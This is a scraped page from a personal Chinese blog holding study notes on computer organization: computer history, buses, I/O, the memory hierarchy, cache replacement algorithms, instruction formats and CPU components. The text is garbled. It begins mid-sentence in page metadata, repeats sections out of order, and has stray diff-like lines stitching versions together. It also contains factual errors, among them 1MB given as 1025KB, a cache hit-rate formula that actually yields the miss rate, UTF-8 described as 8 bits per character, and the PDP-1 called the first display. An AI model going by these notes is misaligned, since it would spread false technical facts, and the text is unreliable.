设备是否被其他进程占用），命令线（CPU向设备发送命令的信号线），设备选择线（主机选择I/O设备进行操作的信号线）\nCPU与IO设备通信：程序中断（IO设备就绪，会向CPU发生中断信号，CPU接收到中断信号后，会执行中断程序工作，会暂停当前进程的工作，转而处理该I/O设备的工作，完成后再恢复到之前进程的工作），DMA（直接存储区访问，DMA直接连接主存和设备，DMA工作期间不需要CPU参与，而是作为主存和设备的中间件，来做到IO设备的数据交换）\n计算机存储器\n存储器的分类\n按存储介质分类，分为半导体存储器（内存，固态硬盘）和磁存储器（磁盘（机械硬盘），磁带）\n按存取方式分类，分为随机存储器（RAM），串行存储器（按顺序读写），只读存储器（ROM）\n缓存（CPU的寄存器），主存（内存），辅存（硬盘）\n存储器的层次结构：CPU可以与主存互相访问，缓存可以和CPU互相访问，也可以和主存互相访问，主存和辅存之间互相访问\nCPU和缓存，以及主存构成缓存-主存层次，而主存和辅存又构成了主存-辅存层次\n局部性原理：CPU访问存储器时，存取指令和存取数据，其访问的存储单元都是聚集在一个连续区域中\n缓存-主存层次是为了解决CPU速度和主存速度不匹配的，在CPU和主存之间再加一层缓存，CPU运行时，可以将数据临时存储在该缓存中，而且不需要完全依赖于主存来做数据存储媒介（主存对于CPU来说还是太慢，需要等待主存处理完毕），提高CPU的利用率\n主存-辅存层次是为了解决主存容量不够的问题，在主存之外添加辅助存储器（例如硬盘）\n对于超过主存的程序运行，利用局部性原理，将当前用到的数据存储到主存，还没有用到的先存储到辅存中\n主存储器和辅助存储器\n主存储器：内存（RAM，随机存取存储器，Random Access Memory）\nRAM通过电容存储数据，必须每隔一段时间刷新一次（刷新需要电存在，如果长时间没有刷新将丢失电容里的电子，从而导致数据丢失），因此掉电后，数据会在一段时间后丢失\nRAM主要由半导体存储体，驱动器，译码器，读写电路，控制电路组成\nCPU利用主存数据寄存器（MDR）通过数据总线来连接读写电路（来完成读写内存工作）\n通过主存地址寄存器（MAR），通过地址总线来连接译码器（完成传输数据，数据存储地址工作）\n操作系统的位数决定了最大寻址区域，32位操作系统最大支持4GB内存（2^32=42^30），64位操作系统最大支持2^34GB（2^64=2^342^30）\n辅助存储器，例如磁盘（由盘片（可磁化的硬磁特性材料构成），读写磁头（移动磁头来读取磁道信息），磁道，扇区（磁道的一部分）组成）\n磁盘调度算法：先来先服务算法，最短寻道时间优先算法，扫描算法（电梯算法），循环扫描算法\n先来先服务算法：按照顺序来访问磁道的读写\n最短寻道时间优先算法：优先访问离磁头最近的磁道\n扫描算法（电梯算法）：磁头每次只往一个方向移动，只有到达尽头时才会反方向移动（因为和电梯调度是一样的，因此又叫电梯算法）\n循环扫描算法：基于扫描算法的优化版本，只向一个方向移动，到达尽头不会反方向移动，而是回到起点，继续一个方向移动\n计算机高速缓存\n计算机缓存的工作原理\n字：指存储在一个存储单元中的二进制组合（是存储最小的单元）\n字块：指存储在连续的存储单元中，也就是一个单元的一组字\n如果一个字是64位，并且一个字块有n个字，存储器一共有x个字块，nx就是总字数，而nx*64就是这个存储器的总容量（bits）\n字的地址：前几位表示字块的地址，后几位表示该字在字块的地址\n当CPU需要的数据存在于缓存中时，往缓存获取，需要的数据不存在时，向主存获取\n缓存命中率是衡量缓存的性能基础，如果每次需要的数据都在缓存时，命中率为1\n缓存命中率计算公式：访问主存的次数除以访问主存的次数加访问缓存的次数的和，得到的数就是这个缓存的命中率（占访问总次数的比例）\n缓存访问效率也是衡量缓存的性能基础，计算公式为访问缓存的时间除以访问主存的时间\n缓存替换策略：当缓存没有数据时，需要向主存载入需要的数据，主要有4种算法，随机算法，先进先出算法（FIFO），最不经常使用算法（LFU），最近最少使用算法（LRU）\n随机算法：每一次发生替换时，随机选取缓存的位置，将对应的位置替换\n先进先出算法（FIFO）：将缓存看成先进先出的队列，队列满后发生替换时，优先替换最先进入队列的字块\n最不经常使用算法（LFU）：优先替换最不经常使用的字块，需要提供空间来记录字块的使用频率\n最近最少使用算法（LRU）：优先替换最近一段时间内最少使用的字块（可以利用双向链表结构，保证链首是使用的字块，链尾是最不经常使用的字块，只需要将链尾去掉，将新的字块放到链首）\n指令系统\n机器指令由操作码和地址码组成，操作码指定指令需要完成的操作，操作码的位数决定了机器的操作种类，例如8位操作码表示有256种操作种类，地址码是指定数据或者数据的地址，根据地址码又分为三地址指令，二地址指令，以及一地址指令和零地址指令，就是指令有多少个数据地址\n机器指令的操作类型：数据传输类型，算术逻辑操作类型，移位操作类型，控制指令（例如中断指令）\n机器指令的寻址\n指令寻址：顺序寻址，跳跃寻址\n数据寻址：立即寻址，直接寻址，间接寻址（给出的地址是数据地址的地址，再根据数据地址，找到数据）\n计算机的控制器\n控制器是控制计算机和协调计算机的\n控制器由程序计数器（存储下一条指令的地址），时序发生器（发送时序脉冲，CPU根据时序脉冲来进行工作），指令译码器（翻译操作码对应的操作，传输地址码对应的数据），寄存器（通用（暂时存放或者发送数据或者指令，也负责保存算术逻辑单元的中间结果），指令（存取计算机指令），主存地址（保存当前CPU正在访问的内存单元地址），主存数据（保存当前CPU正在读取或者写入的主存数据）），总线组成\n计算机的运算器\n运算器由数据缓冲器，算术逻辑单元（ALU），通用寄存器，状态字寄存器，以及总线组成\n数据缓冲器分为输入缓存（暂时存放外部设备发送过来的数据）和输出缓冲（暂时存放需要发送给外部设备的数据）\n算术逻辑单元（ALU）是运算器核心，可以完成算术运算（位运算，加减乘除等等）\n状态字寄存器是存放运算状态的（例如进位，结果的正负，条件码，溢出等等），也可以存放运算控制信息（例如允许中断位，调试跟踪标记位等等）\n计算机指令执行过程（获取指令，分析指令，执行指令）\n指令执行过程的交互发生在片内总线\n通过缓存获取指令，再将指令通过片内总线发送给指令寄存器，暂时存放这个指令操作码和地址码（并不知道指令的具体内容），再通过指令译码器来获取指令具体内容，指令译码器通过片内总线发送控制信号给运算器，程序计算数+1（表示轮到下一个指令执行），执行指令会先将数据存储在数据寄存器，算术逻辑单元处理数据，并且状态字寄存器记录运算的状态，指令完成后发送运算结果\n","wordCount":"152","inLanguage":"en","datePublished":"2022-11-01T02:00:00Z","dateModified":"2022-11-01T02:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/155/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>计算机组成原理学习笔记</h1><div class=post-meta><span title='2022-11-01 02:00:00 +0000 UTC'>2022-11-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e8%ae%a1%e7%ae%97%e6%9c%ba%e7%bb%84%e6%88%90%e5%8e%9f%e7%90%86%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>计算机发展历史</p><p>1946-1957，电子管计算机，1957-1964，晶体管计算机，1964-1980，集成电路计算机，1980-至今，超大规模集成电路计算机</p><p>电子管计算机：二战时期，英国为了破译德国的无线电密文，而发明了电子管计算机，最出名的电子管计算机莫过于埃尼阿克（ENIAC），埃尼阿克是美国军方为了计算弹道而诞生的，埃尼阿克长30多米，高2.4米，宽6米，拥有18000多个电子管，70000个电阻，10000个电容，1500个续电，6000多个开关，运行耗电150千瓦，重30吨，占地1500平方英寸（140平方米），造价48万美元，运算速度每秒5000次</p><p>电子管计算机特点：集成度低，占空间大，功耗高，操作复杂（更换程序需要接线）</p><p>晶体管计算机：诞生原因是因为贝尔实验室发明晶体管，1956年诺贝尔物理奖授予贝尔实验室发明晶体管的科学家，第一台晶体管计算机TX-0诞生于MIT的林肯实验室，当时的最强晶体管计算机PDP-1具备4k内存，每秒可执行20万条指令，具备512x512显示器（也是世界第一个显示器，也因为这个计算机携带了显示器的原因，而诞生了世界第一款电子游戏，太空战争）</p><p>晶体管计算机特点：对于电子管计算机来说，集成度高，空间占据小，功耗比电子管低，运行速度快</p><p>集成电路计算机：诞生原因是因为德州仪器的工程师发明了集成电路（IC），操作系统也因为集成电路计算机的出现而诞生，当时为了解决IBM的2款集成电路计算机（7094和1401）所编写的程序无法相互兼容，IBM而推出了System/360（操作系统雏形）</p><p>超大规模集成电路计算机：芯片集成超大规模的集成电路</p><p>微型计算机发展历史：因为集成电路计算机的诞生，计算机逐渐从庞然大物变成小型，乃至微型，1971到1973年，500khz频率的微型计算机（8位），1973到1978年，高于1mhz的微型计算机（8位），1978到1985年，500mhz的微型计算机（16位），1985到2000年，高于1ghz的微型计算机（32位），2000年到至今，高于2ghz的微型计算机（64位）</p><p>摩尔定律：当价格不变的情况下，集成电路的性能，会每18至24个月提升一倍</p><p>后来因为集成电路太密集，热损耗也越来越高，无法解决，摩尔定律也因此失效</p><p>因为摩尔定律的失效，单核已到瓶颈，转而搞多核CPU，2005年，英特尔发布了奔腾系列的双核CPU，AMD也发布了速龙系列的双核CPU，2006年，英特尔发布酷睿四核CPU，至今AMD的服务器级霄龙处理器CPU可以高达64核，而且基准频率（单核频率）可以达到2Ghz以上</p><hr><p>计算机的分类</p><p>超级计算机：功能最强，运算最快，存储容量最大的计算机，用于天气预报，海洋监测，生物制药，科学计算，航天等等需要超大运算的领域，衡量超级计算机的单位是TFlop/s（每秒一万亿次浮点计算）</p><p>著名的超级计算机有Summit，神威太湖之光，天河一号，天河二号，Sierra</p><p>天河二号位于广州大学城的中山大学校区的国家超级计算机广州中心</p><p>大型计算机：又被称为大型机，大型机面向大型商业公司，维护成本高，硬件不易扩展，IBM占据大型机的大片市场，IBM为IOE中的I（计算机提供商）</p><p>迷你计算机（服务器）：目前已替代大型机，为企业主要计算顶梁柱</p><p>工作站：高端微型计算机，面向需要强性能的专业工作者（例如图形，视频）</p><p>微型计算机（个人计算机）：又分为台式计算机，笔记本计算机，一体化计算机</p><hr><p>计算机体系和结构</p><p>冯诺依曼体系：将指令和数据一起存储的计算机设计概念结构，使用通用电路设计，而不是使用专用电路，将指令存储，再将指令编译成通用电路可理解的程序</p><p>冯诺依曼体系要求具备存储器，控制器，运算器，输入/输出设备</p><p>冯诺依曼体系要求能将程序和数据发送给计算机（输入），能长期存储程序，数据，计算过程，计算结果的功能（存储器），具备算术，逻辑处理和数据传送等数据处理功能（运算器和控制器），并且能将处理结果反馈给用户（输出）</p><p>冯诺依曼瓶颈：CPU和存储器速率之间无法调和，导致CPU空转等待数据传输</p><p>现代计算机都是基于冯诺依曼体系的（解决冯诺依曼瓶颈），存储器和运算器，以及控制器整合在一起（就是CPU），CPU内部的存储器更高速（寄存器）</p><hr><p>计算机层次和编程语言</p><p>程序编译和程序解析（计算机无法理解人类语言），需要进行语言（高级语言对低级语言）的转换</p><p>高级语言生成低级语言的过程叫程序编译，而生成的工具叫编译器</p><p>常见的编译型语言有C，C++，Golang</p><p>高级语言作为输入，低级语言接收输入，从而达到高转低的目的，这个过程叫程序解析，而这个低级语言接收的工具叫解析器，解析器必须是用低级语言编写的</p><p>常见的解析型语言有Python，PHP</p><p>java是编译+解析语言，因为它会将源程序编译成JVM字节码，JVM虚拟机再将JVM字节码再解析成机器码，java的跨平台就是因为JVM虚拟机解析器</p><p>计算机的层次：硬件逻辑层，微程序机器层，传统机器层，操作系统层，汇编语言层，高级语言层，应用层</p><p>硬件逻辑层：由门电路和触发器等逻辑电路组成</p><p>微程序机器层：由微指令组成的微程序直接交给硬件执行</p><p>传统机器层：CPU指令集，不同架构CPU使用不同的CPU指令集</p><p>这3层都为机器硬件层，一个指令就是一个微程序，也是一组微指令</p><p>操作系统层：向上提供操作界面，向下对应指令系统，管理硬件（例如分配内存空间）</p><p>汇编语言层：汇编语言可以直接编译成机器语言，完成翻译的工具叫汇编器</p><p>高级语言层：高级语言</p><p>应用层：应用软件</p><hr><p>计算机的计算单位</p><p>容量单位</p><p>在物理层次，用高低电平来记录信息（低电平为0，高电平为1，一个0/1的位被叫为bit（比特位））</p><p>1字节（Byte）等于8bit</p><p>1Kb（千字位）等于1024字节（Byte）</p><p>1mb（兆字节）等于1025kb（千字节）</p><p>1Gb（吉字节）等于1024mb（兆字节）</p><p>1tb（太字节）等于1024gb（吉字节）</p><p>1pb（拍字节）等于1024tb（太字节）</p><p>1eb（艾字节）等于1024pb（拍字节）</p><p>1024是2的10次方</p><p>对于硬盘制造商来说，使用10进制，也就是硬盘制造商认为1000G才是1tb</p><p>因此实质硬盘容量为购买标注的容量（例如240G）乘以1000的3次方，再除于1024的3次方，得到的数就是实质硬盘的容量</p><p>原因是硬盘制造商为了记录硬盘的扇区，使用人类可理解的10进制，而不是2进制</p><p>速度单位</p><p>网络速度</p><p>网络传输数据的单位为Mbps</p><p>因此100M宽带就是指100Mbit/s，每秒传输100Mbps</p><p>100Mbit换算字节就是100/8，也就是12.5MB，因此100m宽带峰值每秒可以传输12.5mb</p><p>CPU速度（CPU的时钟频率，Hz）</p><p>Hz是每秒中的周期性变动重复次数的计量</p><p>例如 3.30 GHz的CPU，就是3.3*1000^3Hz，也就是每秒可以达到33亿次的高低电平变化</p><hr><p>计算机的字符和编码集</p><p>字符编码集的历史</p><p>ASCII码：ASCII码包含95个可打印字符和33个不可打印的字符（例如控制字符），用7个bits表示一个ASCII码（95+33就是128，也就是2的7次方）</p><p>因为ASCII码无法满足需求（例如π），而推出了Extended ASCII码，由原来的7个bits变成8个bits，也就是支持256个字符</p><p>中文编码集</p><p>国标GB2312，诞生于1980年，中文名为信息交换用汉字编码字符集-基本集，GB2312收录了7445个字符（6763个汉字和682个其他字符）</p><p>因为GB2312不符合国际标准，因此推出GBK（汉字内码扩展规范），向下兼容GB2312，向上支持国际ISO标准，GBK收录了21003个汉字，支持全部中日韩汉字</p><p>为了解决全球的字符集问题，推出了Unicode（又被叫为统一码，万国码，单一码），Unicode定义的世界通用的编码集，并且使用UTF-x来对Unicode进行编码（这个x表示一个字符占多少bits，例如utf-8就是指，1个字符占了8个bits）</p><hr><p>计算机组成</p><p>总线：解决不同设备之间的通信问题</p><p>常见的总线有：</p><p>USB：全称Universal Serial Bus（通用串行总线）</p><p>PCI总线（外置显卡）</p><p>ISA总线</p><p>Thunderbolt总线</p><p>总线分2种，片内总线（就是芯片内部的总线，传递芯片内部的信息），系统总线（就是连接计算机外围设备的总线，负责CPU，内存，IO设备之间的信息传递）</p><p>系统总线又分为数据总线（数据总线的位数（总线宽度）一般于CPU位数相同，64位（可以一次传输64位，8个字节的数据），负责双向传输数据信息），地址总线（指定数据的内存中的地址，位数为n时，寻址范围为0到2的n次方，位数和存储单元的位数有关系），控制总线（负责传输控制信号，控制信号通过控制总线，从这一个组件传输给另一个组件（例如显卡发送控制信号给显示器），而且还可以监控设备是否就绪）</p><p>总线仲裁（解决多个设备就绪，总线的使用权分配问题）</p><p>仲裁控制器：控制设备使用总线的优先顺序</p><p>仲裁方法：链式查询（仲裁控制器连接总线的全部设备（串连），需要使用总线的设备发送仲裁，优先级高的最先允许，使用完毕，再询问下一个设备，直到没有需要，这就是链式查询），计时器定时查询（仲裁控制器使用计数器累计计数，当接收到仲裁信号后，向全部设备发送计数值，当计数值和设备编码一致时获取使用权），独立请求（每个设备都有总线独立连接仲裁器，设备都可以向仲裁控制器单独发送请求和接收请求）</p><hr><p>输入/输出设备</p><p>常见输入/输出设备：字符输入设备（键盘），图形输入设备（鼠标，数位板，扫描仪），图像输出设备（显示器，打印机，投影仪）</p><p>输入/输出接口通用设计：允许读取数据，允许向设备发送数据，允许检测设备是否被占用，允许检查设备是否已连接，允许检查设备已启动</p><p>数据线（I/O设备与主机传输数据，单向，双向），状态线（I/O设备向主机报告的信息线，主机可以通过该线来查询设备是否已经正常连接并且已经就绪，也可以查询设备是否被其他进程占用），命令线（CPU向设备发送命令的信号线），设备选择线（主机选择I/O设备进行操作的信号线）</p><p>CPU与IO设备通信：程序中断（IO设备就绪，会向CPU发生中断信号，CPU接收到中断信号后，会执行中断程序工作，会暂停当前进程的工作，转而处理该I/O设备的工作，完成后再恢复到之前进程的工作），DMA（直接存储区访问，DMA直接连接主存和设备，DMA工作期间不需要CPU参与，而是作为主存和设备的中间件，来做到IO设备的数据交换）</p><hr><p>计算机存储器</p><p>存储器的分类</p><p>按存储介质分类，分为半导体存储器（内存，固态硬盘）和磁存储器（磁盘（机械硬盘），磁带）</p><p>按存取方式分类，分为随机存储器（RAM），串行存储器（按顺序读写），只读存储器（ROM）</p><p>缓存（CPU的寄存器），主存（内存），辅存（硬盘）</p><p>存储器的层次结构：CPU可以与主存互相访问，缓存可以和CPU互相访问，也可以和主存互相访问，主存和辅存之间互相访问</p><p>CPU和缓存，以及主存构成缓存-主存层次，而主存和辅存又构成了主存-辅存层次</p><p>局部性原理：CPU访问存储器时，存取指令和存取数据，其访问的存储单元都是聚集在一个连续区域中</p><p>缓存-主存层次是为了解决CPU速度和主存速度不匹配的，在CPU和主存之间再加一层缓存，CPU运行时，可以将数据临时存储在该缓存中，而且不需要完全依赖于主存来做数据存储媒介（主存对于CPU来说还是太慢，需要等待主存处理完毕），提高CPU的利用率</p><p>主存-辅存层次是为了解决主存容量不够的问题，在主存之外添加辅助存储器（例如硬盘）</p><p>对于超过主存的程序运行，利用局部性原理，将当前用到的数据存储到主存，还没有用到的先存储到辅存中</p><hr><p>主存储器和辅助存储器</p><p>主存储器：内存（RAM，随机存取存储器，Random Access Memory）</p><p>RAM通过电容存储数据，必须每隔一段时间刷新一次（刷新需要电存在，如果长时间没有刷新将丢失电容里的电子，从而导致数据丢失），因此掉电后，数据会在一段时间后丢失</p><p>RAM主要由半导体存储体，驱动器，译码器，读写电路，控制电路组成</p><p>CPU利用主存数据寄存器（MDR）通过数据总线来连接读写电路（来完成读写内存工作）</p><p>通过主存地址寄存器（MAR），通过地址总线来连接译码器（完成传输数据，数据存储地址工作）</p><p>操作系统的位数决定了最大寻址区域，32位操作系统最大支持4GB内存（2^32=4<em>2^30），64位操作系统最大支持2^34GB（2^64=2^34</em>2^30）</p><p>辅助存储器，例如磁盘（由盘片（可磁化的硬磁特性材料构成），读写磁头（移动磁头来读取磁道信息），磁道，扇区（磁道的一部分）组成）</p><p>磁盘调度算法：先来先服务算法，最短寻道时间优先算法，扫描算法（电梯算法），循环扫描算法</p><p>先来先服务算法：按照顺序来访问磁道的读写</p><p>最短寻道时间优先算法：优先访问离磁头最近的磁道</p><p>扫描算法（电梯算法）：磁头每次只往一个方向移动，只有到达尽头时才会反方向移动（因为和电梯调度是一样的，因此又叫电梯算法）</p><p>循环扫描算法：基于扫描算法的优化版本，只向一个方向移动，到达尽头不会反方向移动，而是回到起点，继续一个方向移动</p><hr><p>计算机高速缓存</p><p>计算机缓存的工作原理</p><p>字：指存储在一个存储单元中的二进制组合（是存储最小的单元）</p><p>字块：指存储在连续的存储单元中，也就是一个单元的一组字</p><p>如果一个字是64位，并且一个字块有n个字，存储器一共有x个字块，n<em>x就是总字数，而n</em>x*64就是这个存储器的总容量（bits）</p><p>字的地址：前几位表示字块的地址，后几位表示该字在字块的地址</p><p>当CPU需要的数据存在于缓存中时，往缓存获取，需要的数据不存在时，向主存获取</p><p>缓存命中率是衡量缓存的性能基础，如果每次需要的数据都在缓存时，命中率为1</p><p>缓存命中率计算公式：访问主存的次数除以访问主存的次数加访问缓存的次数的和，得到的数就是这个缓存的命中率（占访问总次数的比例）</p><p>缓存访问效率也是衡量缓存的性能基础，计算公式为访问缓存的时间除以访问主存的时间</p><p>缓存替换策略：当缓存没有数据时，需要向主存载入需要的数据，主要有4种算法，随机算法，先进先出算法（FIFO），最不经常使用算法（LFU），最近最少使用算法（LRU）</p><p>随机算法：每一次发生替换时，随机选取缓存的位置，将对应的位置替换</p><p>先进先出算法（FIFO）：将缓存看成先进先出的队列，队列满后发生替换时，优先替换最先进入队列的字块</p><p>最不经常使用算法（LFU）：优先替换最不经常使用的字块，需要提供空间来记录字块的使用频率</p><p>最近最少使用算法（LRU）：优先替换最近一段时间内最少使用的字块（可以利用双向链表结构，保证链首是使用的字块，链尾是最不经常使用的字块，只需要将链尾去掉，将新的字块放到链首）</p><hr><p>指令系统</p><p>机器指令由操作码和地址码组成，操作码指定指令需要完成的操作，操作码的位数决定了机器的操作种类，例如8位操作码表示有256种操作种类，地址码是指定数据或者数据的地址，根据地址码又分为三地址指令，二地址指令，以及一地址指令和零地址指令，就是指令有多少个数据地址</p><p>机器指令的操作类型：数据传输类型，算术逻辑操作类型，移位操作类型，控制指令（例如中断指令）</p><p>机器指令的寻址</p><p>指令寻址：顺序寻址，跳跃寻址</p><p>数据寻址：立即寻址，直接寻址，间接寻址（给出的地址是数据地址的地址，再根据数据地址，找到数据）</p><hr><p>计算机的控制器</p><p>控制器是控制计算机和协调计算机的</p><p>控制器由程序计数器（存储下一条指令的地址），时序发生器（发送时序脉冲，CPU根据时序脉冲来进行工作），指令译码器（翻译操作码对应的操作，传输地址码对应的数据），寄存器（通用（暂时存放或者发送数据或者指令，也负责保存算术逻辑单元的中间结果），指令（存取计算机指令），主存地址（保存当前CPU正在访问的内存单元地址），主存数据（保存当前CPU正在读取或者写入的主存数据）），总线组成</p><hr><p>计算机的运算器</p><p>运算器由数据缓冲器，算术逻辑单元（ALU），通用寄存器，状态字寄存器，以及总线组成</p><p>数据缓冲器分为输入缓存（暂时存放外部设备发送过来的数据）和输出缓冲（暂时存放需要发送给外部设备的数据）</p><p>算术逻辑单元（ALU）是运算器核心，可以完成算术运算（位运算，加减乘除等等）</p><p>状态字寄存器是存放运算状态的（例如进位，结果的正负，条件码，溢出等等），也可以存放运算控制信息（例如允许中断位，调试跟踪标记位等等）</p><hr><p>计算机指令执行过程（获取指令，分析指令，执行指令）</p><p>指令执行过程的交互发生在片内总线</p><p>通过缓存获取指令，再将指令通过片内总线发送给指令寄存器，暂时存放这个指令操作码和地址码（并不知道指令的具体内容），再通过指令译码器来获取指令具体内容，指令译码器通过片内总线发送控制信号给运算器，程序计算数+1（表示轮到下一个指令执行），执行指令会先将数据存储在数据寄存器，算术逻辑单元处理数据，并且状态字寄存器记录运算的状态，指令完成后发送运算结果</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/>计算机组成原理</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/156/><span class=title>« Prev</span><br><span>计算机网络学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/154/><span class=title>Next »</span><br><span>简单使用PWA技术</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+因为ASCII码无法满足需求（例如π），而推出了Extended ASCII码，由原来的7个bits变成8个bits，也就是支持256个字符"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"计算机组成原理学习笔记","item":"https://chenjunlinabc.github.io/posts/155/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"计算机组成原理学习笔记","name":"计算机组成原理学习笔记","description":"计算机发展历史\n1946-1957，电子管计算机，1957-1964，晶体管计算机，1964-1980，集成电路计算机，1980-至今，超大规模集成电路计算机\n电子管计算机：二战时期，英国为了破译德国的无线电密文，而发明了电子管计算机，最出名的电子管计算机莫过于埃尼阿克（ENIAC），埃尼阿克是美国军方为了计算弹道而诞生的，埃尼阿克长30多米，高2.4米，宽6米，拥有18000多个电子管，70000个电阻，10000个电容，1500个续电，6000多个开关，运行耗电150千瓦，重30吨，占地1500平方英寸（140平方米），造价48万美元，运算速度每秒5000次\n电子管计算机特点：集成度低，占空间大，功耗高，操作复杂（更换程序需要接线）\n晶体管计算机：诞生原因是因为贝尔实验室发明晶体管，1956年诺贝尔物理奖授予贝尔实验室发明晶体管的科学家，第一台晶体管计算机TX-0诞生于MIT的林肯实验室，当时的最强晶体管计算机PDP-1具备4k内存，每秒可执行20万条指令，具备512x512显示器（也是世界第一个显示器，也因为这个计算机携带了显示器的原因，而诞生了世界第一款电子游戏，太空战争）\n晶体管计算机特点：对于电子管计算机来说，集成度高，空间占据小，功耗比电子管低，运行速度快\n集成电路计算机：诞生原因是因为德州仪器的工程师发明了集成电路（IC），操作系统也因为集成电路计算机的出现而诞生，当时为了解决IBM的2款集成电路计算机（7094和1401）所编写的程序无法相互兼容，IBM而推出了System/360（操作系统雏形）\n超大规模集成电路计算机：芯片集成超大规模的集成电路\n微型计算机发展历史：因为集成电路计算机的诞生，计算机逐渐从庞然大物变成小型，乃至微型，1971到1973年，500khz频率的微型计算机（8位），1973到1978年，高于1mhz的微型计算机（8位），1978到1985年，500mhz的微型计算机（16位），1985到2000年，高于1ghz的微型计算机（32位），2000年到至今，高于2ghz的微型计算机（64位）\n摩尔定律：当价格不变的情况下，集成电路的性能，会每18至24个月提升一倍\n后来因为集成电路太密集，热损耗也越来越高，无法解决，摩尔定律也因此失效\n因为摩尔定律的失效，单核已到瓶颈，转而搞多核CPU，2005年，英特尔发布了奔腾系列的双核CPU，AMD也发布了速龙系列的双核CPU，2006年，英特尔发布酷睿四核CPU，至今AMD的服务器级霄龙处理器CPU可以高达64核，而且基准频率（单核频率）可以达到2Ghz以上\n计算机的分类\n超级计算机：功能最强，运算最快，存储容量最大的计算机，用于天气预报，海洋监测，生物制药，科学计算，航天等等需要超大运算的领域，衡量超级计算机的单位是TFlop/s（每秒一万亿次浮点计算）\n著名的超级计算机有Summit，神威太湖之光，天河一号，天河二号，Sierra\n天河二号位于广州大学城的中山大学校区的国家超级计算机广州中心\n大型计算机：又被称为大型机，大型机面向大型商业公司，维护成本高，硬件不易扩展，IBM占据大型机的大片市场，IBM为IOE中的I（计算机提供商）\n迷你计算机（服务器）：目前已替代大型机，为企业主要计算顶梁柱\n工作站：高端微型计算机，面向需要强性能的专业工作者（例如图形，视频）\n微型计算机（个人计算机）：又分为台式计算机，笔记本计算机，一体化计算机\n计算机体系和结构\n冯诺依曼体系：将指令和数据一起存储的计算机设计概念结构，使用通用电路设计，而不是使用专用电路，将指令存储，再将指令编译成通用电路可理解的程序\n冯诺依曼体系要求具备存储器，控制器，运算器，输入/输出设备\n冯诺依曼体系要求能将程序和数据发送给计算机（输入），能长期存储程序，数据，计算过程，计算结果的功能（存储器），具备算术，逻辑处理和数据传送等数据处理功能（运算器和控制器），并且能将处理结果反馈给用户（输出）\n冯诺依曼瓶颈：CPU和存储器速率之间无法调和，导致CPU空转等待数据传输\n现代计算机都是基于冯诺依曼体系的（解决冯诺依曼瓶颈），存储器和运算器，以及控制器整合在一起（就是CPU），CPU内部的存储器更高速（寄存器）\n计算机层次和编程语言\n程序编译和程序解析（计算机无法理解人类语言），需要进行语言（高级语言对低级语言）的转换\n高级语言生成低级语言的过程叫程序编译，而生成的工具叫编译器\n常见的编译型语言有C，C++，Golang\n高级语言作为输入，低级语言接收输入，从而达到高转低的目的，这个过程叫程序解析，而这个低级语言接收的工具叫解析器，解析器必须是用低级语言编写的\n常见的解析型语言有Python，PHP\njava是编译+解析语言，因为它会将源程序编译成JVM字节码，JVM虚拟机再将JVM字节码再解析成机器码，java的跨平台就是因为JVM虚拟机解析器\n计算机的层次：硬件逻辑层，微程序机器层，传统机器层，操作系统层，汇编语言层，高级语言层，应用层\n硬件逻辑层：由门电路和触发